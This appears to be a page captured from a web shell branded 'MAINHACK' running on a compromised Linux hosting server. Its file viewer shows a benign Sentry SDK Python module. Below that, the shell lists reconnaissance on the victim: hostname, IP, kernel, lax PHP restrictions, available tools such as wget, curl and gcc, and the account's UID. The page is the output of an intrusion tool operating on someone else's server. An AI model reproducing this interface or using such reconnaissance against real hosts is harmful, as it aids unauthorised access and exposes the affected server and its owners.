[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: api.py
File is not writable. Editing disabled.
import inspect from contextlib import contextmanager from sentry_sdk.hub import Hub from sentry_sdk.scope import Scope if False: from typing import Any from typing import Optional from typing import overload from typing import Callable from typing import Dict from contextlib import ContextManager else: def overload(x): return x __all__ = [] def public(f): __all__.append(f.__name__) return f def hubmethod(f): f.__doc__ = "%s\n\n%s" % ( "Alias for `Hub.%s`" % f.__name__, inspect.getdoc(getattr(Hub, f.__name__)), ) return public(f) @hubmethod def capture_event(event, hint=None): # type: (Dict[str, Any], Dict[str, Any]) -> Optional[str] hub = Hub.current if hub is not None: return hub.capture_event(event, hint) return None @hubmethod def capture_message(message, level=None): # type: (str, Optional[Any]) -> Optional[str] hub = Hub.current if hub is not None: return hub.capture_message(message, level) return None @hubmethod def capture_exception(error=None): # type: (Optional[BaseException]) -> Optional[str] hub = Hub.current if hub is not None: return hub.capture_exception(error) return None @hubmethod def add_breadcrumb(crumb=None, hint=None, **kwargs): # type: (Dict[str, Any], Dict[str, Any], **Any) -> None hub = Hub.current if hub is not None: return hub.add_breadcrumb(crumb, hint, **kwargs) @overload # noqa def configure_scope(): # type: () -> ContextManager[Scope] pass @overload # noqa def configure_scope(callback): # type: (Callable[[Scope], None]) -> None pass @hubmethod # noqa def configure_scope(callback=None): hub = Hub.current if hub is not None: return hub.configure_scope(callback) elif callback is None: @contextmanager def inner(): yield Scope() return inner() else: # returned if user provided callback return None @overload # noqa def push_scope(): # type: () -> ContextManager[Scope] pass @overload # noqa def push_scope(callback): # type: (Callable[[Scope], None]) -> None pass @hubmethod # noqa def push_scope(callback=None): hub = Hub.current if hub is not None: return hub.push_scope(callback) elif callback is None: @contextmanager def inner(): yield Scope() return inner() else: # returned if user provided callback return None @hubmethod def flush(timeout=None, callback=None): hub = Hub.current if hub is not None: return hub.flush(timeout=timeout, callback=callback) @hubmethod def last_event_id(): # type: () -> Optional[str] hub = Hub.current if hub is not None: return hub.last_event_id() return None
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 691.04 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: N/A